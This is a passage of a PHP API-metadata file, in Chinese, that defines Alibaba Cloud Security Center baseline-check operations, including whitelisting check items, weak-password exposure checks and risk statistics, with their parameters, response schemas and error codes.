'限定此次返回基线的数量限制。如果不设置，默认为20。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '10', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '请求和接收消息的语言类型。取值： '."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + [ + 'name' => 'ResourceDirectoryAccountId', + 'in' => 'query', + 'schema' => [ + 'description' => '资源目录成员账号主账号ID。'."\n" + .'>调用[DescribeMonitorAccounts](~~DescribeMonitorAccounts~~)接口可以获取该参数。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '127608589417****', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'ListResult', + 'description' => '基线列表结果。', + 'type' => 'object', + 'properties' => [ + 'Risks' => [ + 'description' => '基线列表。', + 'type' => 'array', + 'items' => [ + 'description' => '基线详情信息。', + 'type' => 'object', + 'properties' => [ + 'RiskId' => [ + 'description' => '基线ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '54', + ], + 'RiskName' => [ + 'description' => '基线的名称。', + 'type' => 'string', + 'example' => 'Alibaba Cloud Standard - Ubuntu Security Baseline', + ], + 'RiskDetail' => [ + 'description' => '基线详细描述。', + 'type' => 'string', + 'example' => 'Ubuntu 14, Ubuntu 16, Ubuntu 18, Ubuntu 20 baseline based on Alibaba Cloud best security practices', + ], + 'RiskType' => [ + 'description' => '基线分类名称。', + 'type' => 'string', + 'example' => 'cis', + ], + 'TypeAlias' => [ + 'description' => '基线分类显示名称', + 'type' => 'string', + 'example' => 'Best security practices', + ], + 'SubRiskType' => [ + 'description' => '基线子分类。', + 'type' => 'string', + 'example' => 'hc_ubuntu', + ], + 'SubTypeAlias' => [ + 'description' => '基线子分类显示名称。', + 'type' => 'string', + 'example' => 'Alibaba Cloud Standard - Ubuntu Security Baseline', + ], + ], + ], + ], + 'TotalCount' => [ + 'description' => '查询到的基线数据的总条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '23', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'EA54FE21-B006-5DFF-8D64-C4FFECDA****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'RdCheckNoPermission', + 'errorMessage' => 'Resource directory account verification has no permission.', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + [ + 'errorCode' => 'RdCheckInnerError', + 'errorMessage' => 'Resource directory account service internal error.', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Risks\\": [\\n {\\n \\"RiskId\\": 54,\\n \\"RiskName\\": \\"Alibaba Cloud Standard - Ubuntu Security Baseline\\",\\n \\"RiskDetail\\": \\"Ubuntu 14, Ubuntu 16, Ubuntu 18, Ubuntu 20 baseline based on Alibaba Cloud best security practices\\",\\n \\"RiskType\\": \\"cis\\",\\n \\"TypeAlias\\": \\"Best security practices\\",\\n \\"SubRiskType\\": \\"hc_ubuntu\\",\\n \\"SubTypeAlias\\": \\"Alibaba Cloud Standard - Ubuntu Security Baseline\\"\\n }\\n ],\\n \\"TotalCount\\": 23,\\n \\"RequestId\\": \\"EA54FE21-B006-5DFF-8D64-C4FFECDA****\\"\\n}","type":"json"}]', + 'title' => '查询基线详情', + ], + 'DescribeCheckWarningMachines' => [ + 'summary' => '指定基线和检查项，查询存在相同风险的服务器列表。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + 'abilityTreeCode' => '144227', + 'abilityTreeNodes' => [ + 'FEATUREsas0XJWFD', + ], + ], + 'parameters' => [ + [ + 'name' => 'RiskId', + 'in' => 'query', + 'schema' => [ + 'description' => '基线的ID。'."\n" + ."\n" + .'> 您可调用[DescribeCheckWarningSummary](~~116179~~)接口获取基线ID。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '43', + ], + ], + [ + 'name' => 'CheckId', + 'in' => 'query', + 'schema' => [ + 'description' => '检查项的ID。'."\n" + .'> 您可调用[DescribeCheckWarningSummary](~~116179~~)接口获取检查项ID。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '58', + ], + ], + [ + 'name' => 'Status', + 'in' => 'query', + 'schema' => [ + 'description' => '检查项风险状态。取值：'."\n" + .' - **1**：未通过'."\n" + .' - **3**：已通过', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '请求和接收消息的语言类型，默认值为**zh**。取值：'."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + [ + 'name' => 'ResourceDirectoryAccountId', + 'in' => 'query', + 'schema' => [ + 'description' => '资源目录成员账号主账号ID。'."\n" + .'>调用[DescribeMonitorAccounts](~~DescribeMonitorAccounts~~)接口可以获取该参数。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '1232428423234****', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时，显示的当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时，显示的每页数据的最大条数。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '10', + ], + ], + [ + 'name' => 'Remark', + 'in' => 'query', + 'schema' => [ + 'description' => '要查询的资产信息，可以设置为资产名称、公网IP。', + 'type' => 'string', + 'required' => false, + 'example' => '1.2.XX.XX', + ], + ], + [ + 'name' => 'InstanceId', + 'in' => 'query', + 'schema' => [ + 'description' => '指定要查询的服务器实例ID。', + 'type' => 'string', + 'required' => false, + 'example' => 'cri-rv4nvbv8iju4****', + ], + ], + [ + 'name' => 'FilterUuid', + 'in' => 'query', + 'schema' => [ + 'description' => '查询需要排除的服务器UUID。', + 'type' => 'string', + 'required' => false, + 'example' => '2f64e1a0f9316c48*******', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'ListResult', + 'description' => '存在同样风险的服务器列表及详情结果。', + 'type' => 'object', + 'properties' => [ + 'Machines' => [ + 'description' => '存在同样风险的服务器列表。', + 'type' => 'array', + 'items' => [ + 'description' => '存在同样风险的服务器信息。', + 'type' => 'object', + 'properties' => [ + 'Uuid' => [ + 'description' => '服务器的UUID。', + 'type' => 'string', + 'example' => 'D0D6E6E4-CB8C-4897-B852-46AEFDA0****', + ], + 'InstanceName' => [ + 'description' => '服务器实例的名称。', + 'type' => 'string', + 'example' => 'test****', + ], + 'InternetIp' => [ + 'description' => '服务器的公网IP地址。', + 'type' => 'string', + 'example' => '8.210.XX.XX', + ], + 'IntranetIp' => [ + 'description' => '服务器的私网IP地址。', + 'type' => 'string', + 'example' => '172.25.XX.XX', + ], + 'InstanceId' => [ + 'description' => '服务器的实例ID。', + 'type' => 'string', + 'example' => 'i-bp1dp42hgn1xcq8l****', + ], + 'RegionId' => [ + 'description' => '服务器所在的地域的ID。', + 'type' => 'string', + 'example' => 'cn-hangzhou', + ], + 'Bind' => [ + 'description' => '资产是否已绑定授权。取值：'."\n" + ."\n" + .'- **true**：已绑定授权'."\n" + .'- **false**：未绑定授权', + 'type' => 'boolean', + 'example' => 'true', + ], + ], + ], + ], + 'Count' => [ + 'description' => '存在同样风险的服务器列表结果数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '10', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'B3D989EB-2E59-584C-8438-5DFAA34A****', + ], + 'PageSize' => [ + 'description' => '分页查询时，显示的每页数据的最大条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'CurrentPage' => [ + 'description' => '分页查询时，显示的当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'RdCheckNoPermission', + 'errorMessage' => 'Resource directory account verification has no permission.', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + [ + 'errorCode' => 'RdCheckInnerError', + 'errorMessage' => 'Resource directory account service internal error.', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Machines\\": [\\n {\\n \\"Uuid\\": \\"D0D6E6E4-CB8C-4897-B852-46AEFDA0****\\",\\n \\"InstanceName\\": \\"test****\\",\\n \\"InternetIp\\": \\"8.210.XX.XX\\",\\n \\"IntranetIp\\": \\"172.25.XX.XX\\",\\n \\"InstanceId\\": \\"i-bp1dp42hgn1xcq8l****\\",\\n \\"RegionId\\": \\"cn-hangzhou\\",\\n \\"Bind\\": true\\n }\\n ],\\n \\"Count\\": 10,\\n \\"RequestId\\": \\"B3D989EB-2E59-584C-8438-5DFAA34A****\\",\\n \\"PageSize\\": 20,\\n \\"CurrentPage\\": 1\\n}","type":"json"}]', + 'title' => '获取告警机器列表', + ], + 'DescribeCheckFixDetails' => [ + 'summary' => '指定检查项，查询修复此检查项可配置的参数。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'https', + 'http', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'RiskId', + 'in' => 'query', + 'schema' => [ + 'description' => '基线的ID。'."\n" + ."\n" + .'> 您可调用[DescribeCheckWarningSummary](~~116179~~)接口获取基线ID。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '51', + ], + ], + [ + 'name' => 'CheckIds', + 'in' => 'query', + 'schema' => [ + 'description' => '检查项的ID。'."\n" + ."\n" + .'> 您可调用[DescribeRiskType](~~DescribeRiskType~~)接口获取检查项ID。', + 'type' => 'string', + 'required' => false, + 'example' => '58', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '请求和接收消息的语言类型，默认值为**zh**。取值：'."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'title' => 'ListResult', + 'description' => '检查项修复参数列表结果。', + 'type' => 'object', + 'properties' => [ + 'CheckFixDetails' => [ + 'description' => '检查项修复参数列表。', + 'type' => 'array', + 'items' => [ + 'description' => '检查项修复参数。', + 'type' => 'object', + 'properties' => [ + 'CheckId' => [ + 'description' => '检查项ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '58', + ], + 'CheckItem' => [ + 'description' => '检查项描述。', + 'type' => 'string', + 'example' => 'Ensure password reuse is limited', + ], + 'CheckDesc' => [ + 'description' => '检查项详情说明。', + 'type' => 'string', + 'example' => 'Force users not to reuse recently used passwords to reduce the risk of password guessing attacks', + ], + 'Rules' => [ + 'description' => '检查项支持的规则列表。', + 'type' => 'array', + 'items' => [ + 'description' => '检查项支持的规则。', + 'type' => 'object', + 'properties' => [ + 'RuleId' => [ + 'description' => '规则id。', + 'type' => 'string', + 'example' => 'pwd_reuse.system_auth', + ], + 'RuleDesc' => [ + 'description' => '规则的描述信息。', + 'type' => 'string', + 'example' => '(/etc/system-auth)Force users not to reuse the number of recently used passwords between 5 and 24', + ], + 'VarName' => [ + 'description' => '变量名称。', + 'type' => 'string', + 'example' => 'open', + ], + 'DefaultValue' => [ + 'description' => '规则的默认值。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'Optional' => [ + 'description' => '规则是否可选。取值：'."\n" + ."\n" + .'- **1**：是'."\n" + .'- **0**：否', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'CheckId' => [ + 'description' => '检查项ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '58', + ], + 'Value' => [ + 'description' => '规则参数设置值。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '5', + ], + 'ParamList' => [ + 'description' => '规则参数信息列表。', + 'type' => 'array', + 'items' => [ + 'description' => '规则参数信息。', + 'type' => 'object', + 'properties' => [ + 'ParamName' => [ + 'description' => '规则参数名称。', + 'type' => 'string', + 'example' => 'range_val', + ], + 'ParamDesc' => [ + 'description' => '规则参数描述。', + 'type' => 'string', + 'example' => 'The setting value is 0 means no definition, 1 means success, 2 means failure, 3 means success and failure', + ], + 'ParamDefaultValue' => [ + 'description' => '规则参数默认值。', + 'type' => 'string', + 'example' => '5', + ], + 'ParamType' => [ + 'description' => '规则参数类型。取值：'."\n" + ."\n" + .'- **1**：输入'."\n" + .'- **2**：选择', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'MinValue' => [ + 'description' => '规则参数最小值。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '5', + ], + 'MaxValue' => [ + 'description' => '规则参数最大值。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '24', + ], + 'EnumValue' => [ + 'description' => '规则参数为选择类型时，规则参数的选项。', + 'type' => 'string', + 'example' => '0,1,2,3', + ], + 'Value' => [ + 'description' => '规则参数设置值。', + 'type' => 'string', + 'example' => '18', + ], + 'RuleId' => [ + 'description' => '规则ID。', + 'type' => 'string', + 'example' => 'pwd_reuse.system_auth', + ], + ], + ], + ], + ], + ], + ], + ], + ], + ], + 'Count' => [ + 'description' => '查询到的支持修复的检查项数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '0DBF1E27-98D8-5EC2-9CF3-4A2E26F6****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"CheckFixDetails\\": [\\n {\\n \\"CheckId\\": 58,\\n \\"CheckItem\\": \\"Ensure password reuse is limited\\",\\n \\"CheckDesc\\": \\"Force users not to reuse recently used passwords to reduce the risk of password guessing attacks\\",\\n \\"Rules\\": [\\n {\\n \\"RuleId\\": \\"pwd_reuse.system_auth\\",\\n \\"RuleDesc\\": \\"(/etc/system-auth)Force users not to reuse the number of recently used passwords between 5 and 24\\",\\n \\"VarName\\": \\"open\\",\\n \\"DefaultValue\\": 1,\\n \\"Optional\\": 1,\\n \\"CheckId\\": 58,\\n \\"Value\\": 5,\\n \\"ParamList\\": [\\n {\\n \\"ParamName\\": \\"range_val\\",\\n \\"ParamDesc\\": \\"The setting value is 0 means no definition, 1 means success, 2 means failure, 3 means success and failure\\",\\n \\"ParamDefaultValue\\": \\"5\\",\\n \\"ParamType\\": 1,\\n \\"MinValue\\": 5,\\n \\"MaxValue\\": 24,\\n \\"EnumValue\\": \\"0,1,2,3\\",\\n \\"Value\\": \\"18\\",\\n \\"RuleId\\": \\"pwd_reuse.system_auth\\"\\n }\\n ]\\n }\\n ]\\n }\\n ],\\n \\"Count\\": 20,\\n \\"RequestId\\": \\"0DBF1E27-98D8-5EC2-9CF3-4A2E26F6****\\"\\n}","type":"json"}]', + 'title' => '查询检查项修复明细信息', + ], + 'IgnoreCheckItems' => [ + 'summary' => '指定需要忽略的服务器列表和检查项列表，对风险项进行加白和取消加白操作。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'write', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'none', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '141289', + 'abilityTreeNodes' => [ + 'FEATUREsas0XJWFD', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'UuidList', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'title' => '指定机器', + 'description' => '指定要忽略的服务器UUID列表。'."\n" + .'> 您可以调用[DescribeCloudCenterInstances](~~141932~~)接口获取服务器的UUID。', + 'type' => 'array', + 'items' => [ + 'description' => '要忽略的服务器UUID。', + 'type' => 'string', + 'required' => false, + 'example' => '55bf7984-9b3b-4e8d-be8e-f3e5b0b4****', + ], + 'required' => false, + 'maxItems' => 50, + ], + ], + [ + 'name' => 'CheckAndRiskTypeList', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'title' => '检查项', + 'description' => '指定需要忽略的检查项列表。', + 'type' => 'array', + 'items' => [ + 'description' => '需要忽略的检查项。', + 'type' => 'object', + 'properties' => [ + 'CheckId' => [ + 'description' => '检查项ID。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '52', + ], + 'RiskType' => [ + 'description' => '基线风险类别。', + 'type' => 'string', + 'required' => false, + 'example' => 'weak_password', + ], + ], + 'required' => false, + ], + 'required' => false, + 'maxItems' => 50, + ], + ], + [ + 'name' => 'Type', + 'in' => 'query', + 'schema' => [ + 'title' => '操作类型', + 'description' => '操作类型。取值如下：'."\n" + .'- **1**：忽略'."\n" + .'- **2**：取消忽略', + 'type' => 'integer', + 'format' => 'int32', + 'required' => true, + 'example' => '1', + ], + ], + [ + 'name' => 'Reason', + 'in' => 'query', + 'schema' => [ + 'title' => '加白理由', + 'description' => '加白理由。', + 'type' => 'string', + 'required' => false, + 'example' => 'already config in another way', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '请求和接收消息的语言类型，默认为**zh**。取值：'."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文'."\n", + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + [ + 'name' => 'Source', + 'in' => 'query', + 'schema' => [ + 'description' => '数据来源。取值：'."\n" + .'- **default**：主机基线'."\n" + .'- **agentless**：agentless基线', + 'type' => 'string', + 'required' => false, + 'example' => 'agentless', + ], + ], + [ + 'name' => 'CheckIds', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '检查项ID列表。', + 'type' => 'array', + 'items' => [ + 'description' => '基线检查项ID。'."\n" + .'> 基线检查项ID可调用[DescribeCheckWarnings](~~116182~~)接口获取。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '1', + ], + 'required' => false, + 'maxItems' => 100, + ], + ], + [ + 'name' => 'ContainerItems', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '需要加白的容器名称列表。', + 'type' => 'array', + 'items' => [ + 'description' => '需要加白的容器名称。', + 'type' => 'object', + 'properties' => [ + 'Uuid' => [ + 'description' => '资产的UUID。'."\n" + .'> 调用[DescribeCloudCenterInstances](~~DescribeCloudCenterInstances~~)接口获取该参数。', + 'type' => 'string', + 'required' => false, + 'example' => '14eb2fb6-ab02-4869-a1e1-2cdb0f7*****', + ], + 'ContainerNames' => [ + 'description' => '当前资产需要加白的容器名称，英文逗号分割。', + 'type' => 'string', + 'required' => false, + 'example' => '"anythingllm,ChuanhuChat"', + ], + ], + 'required' => false, + ], + 'required' => false, + 'maxItems' => 100, + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'BaseResult', + 'description' => '返回结果', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '11EBEC99-B4B5-542E-8C17-B87B624C****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'eventInfo' => [ + 'enable' => false, + 'eventNames' => [], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"11EBEC99-B4B5-542E-8C17-B87B624C****\\"\\n}","type":"json"}]', + 'title' => '加白基线检查的风险检查项', + ], + 'DescribeExposedCheckWarning' => [ + 'summary' => '查询指定暴露服务器的弱口令风险。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '设置请求和接收消息的语言类型，默认为**zh**。取值：'."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + [ + 'name' => 'TypeName', + 'in' => 'query', + 'schema' => [ + 'description' => '设置基线所属的类型。'."\n" + .'> 调用[DescribeRiskType](~~DescribeRiskType~~)接口返回的**TypeName**字段。', + 'type' => 'string', + 'required' => false, + 'example' => 'weak_password', + ], + ], + [ + 'name' => 'Uuids', + 'in' => 'query', + 'schema' => [ + 'description' => '指定要查询的服务器的UUID。多个UUID使用半角逗号（,）分隔。'."\n" + .'> 您可调用[DescribeCloudCenterInstances](~~DescribeCloudCenterInstances~~)接口获取服务器的UUID。', + 'type' => 'string', + 'required' => false, + 'example' => '6541631a-7d47-41fd-9fef-9518113f****', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'description' => '暴露资产的基线风险结果。', + 'type' => 'object', + 'properties' => [ + 'Count' => [ + 'description' => '返回结果的数据条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '10', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '6D9CDB47-6191-4415-BE63-7E8B12CD****', + ], + 'WarningList' => [ + 'description' => '暴露资产的基线风险列表。', + 'type' => 'array', + 'items' => [ + 'description' => '暴露资产的基线风险信息。', + 'type' => 'object', + 'properties' => [ + 'SubTypeAlias' => [ + 'description' => '基线所属子分类显示名称。', + 'type' => 'string', + 'example' => 'Redis DB login weak password baseline', + ], + 'Uuid' => [ + 'description' => '服务器UUID。', + 'type' => 'string', + 'example' => '1d35b031-ee4e-4e53-8b53-465ab712****', + ], + 'TypeAlias' => [ + 'description' => '基线所属分类显示名称', + 'type' => 'string', + 'example' => 'Weak password', + ], + 'RiskName' => [ + 'description' => '基线的名称。', + 'type' => 'string', + 'example' => 'Weak password-Redis DB login weak password baseline', + ], + 'RiskId' => [ + 'description' => '基线的ID。'."\n" + ."\n" + .'> 您可调用[DescribeCheckWarningSummary](~~116179~~)接口获取基线ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '107', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => '-101', + 'errorMessage' => '%s %s', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Count\\": 10,\\n \\"RequestId\\": \\"6D9CDB47-6191-4415-BE63-7E8B12CD****\\",\\n \\"WarningList\\": [\\n {\\n \\"SubTypeAlias\\": \\"Redis DB login weak password baseline\\",\\n \\"Uuid\\": \\"1d35b031-ee4e-4e53-8b53-465ab712****\\",\\n \\"TypeAlias\\": \\"Weak password\\",\\n \\"RiskName\\": \\"Weak password-Redis DB login weak password baseline\\",\\n \\"RiskId\\": 107\\n }\\n ]\\n}","type":"json"}]', + 'title' => '查询暴露资产的基线弱口令风险', + ], + 'GetCheckRiskStatistics' => [ + 'summary' => '查询风险场景及风险场景对应的基线分类的高、中、低检查项的统计信息。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + 'abilityTreeCode' => '141288', + 'abilityTreeNodes' => [ + 'FEATUREsas0XJWFD', + ], + ], + 'parameters' => [ + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '指定请求和接收消息的语言类型，默认为**zh**。取值：'."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文'."\n", + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '设置从返回结果的第几页开始显示查询结果。默认值为1，表示从第1页开始显示。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '指定分页查询时，每页显示的数据最大条数。每页默认显示的数据条数为20条，PageSize参数值为空时，将默认返回20条数据。'."\n" + .'> 建议PageSize取值不要为空。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '20', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'ListResult', + 'description' => '检查项风险统计信息。', + 'type' => 'object', + 'properties' => [ + 'Data' => [ + 'description' => '风险场景检查项统计信息列表。', + 'type' => 'array', + 'items' => [ + 'description' => '风险场景检查项统计信息。', + 'type' => 'object', + 'properties' => [ + 'SceneName' => [ + 'title' => '风险场景名称', + 'description' => '风险场景名称。', + 'type' => 'string', + 'example' => 'SECURITY', + ], + 'LowWarningCount' => [ + 'title' => '低危检查项数量', + 'description' => '低危检查项数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '3', + ], + 'MediumWarningCount' => [ + 'title' => '中危检查项数量', + 'description' => '中危检查项数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '29', + ], + 'HighWarningCount' => [ + 'title' => '高危检查项数量', + 'description' => '高危检查项数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '43', + ], + 'TotalCount' => [ + 'title' => '检查项总数量', + 'description' => '检查项总数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '219', + ], + 'PassCount' => [ + 'title' => '通过检查项数量', + 'description' => '通过检查项数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '143', + ], + 'SubStatistics' => [ + 'description' => '风险场景下基线分类检查项统计信息列表。', + 'type' => 'array', + 'items' => [ + 'description' => '风险场景下基线分类检查项统计信息。', + 'type' => 'object', + 'properties' => [ + 'TypeName' => [ + 'title' => '基线类别', + 'description' => '基线类别。', + 'type' => 'string', + 'example' => 'weak_password', + ], + 'Alias' => [ + 'title' => '基线类别名称', + 'description' => '基线类别名称。', + 'type' => 'string', + 'example' => 'weak_password', + ], + 'LowWarningCount' => [ + 'title' => '低危检查项数量', + 'description' => '低危检查项数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'MediumWarningCount' => [ + 'title' => '中危检查项数量', + 'description' => '中危检查项数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'HighWarningCount' => [ + 'title' => '高危检查项数量', + 'description' => '高危检查项数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '3', + ], + 'TotalCount' => [ + 'title' => '检查项总数量', + 'description' => '检查项总数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '5', + ], + 'PassCount' => [ + 'title' => '通过检查项数量', + 'description' => '通过检查项数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '2', + ], + ], + ], + ], + ], + ], + ], + 'Count' => [ + 'description' => '风险场景数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '3', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '2C455672-2490-5211-84EC-420C7818****', + ], + 'Summary' => [ + 'description' => '历史检查项统计数据。', + 'type' => 'object', + 'properties' => [ + 'RiskCheckCnt' => [ + 'description' => '未通过检查项数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'RiskWarningCnt' => [ + 'description' => '待处理风险数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '5', + ], + 'RiskDays' => [ + 'description' => '未通过检查项统计的天数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '30', + ], + 'HandledCheckTotal' => [ + 'description' => '累计历史已处理检查项数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '3', + ], + 'HandledCheckToday' => [ + 'description' => '今日已处理检查项数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'HandledDays' => [ + 'description' => '历史累计已处理检查项统计的天数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '365', + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 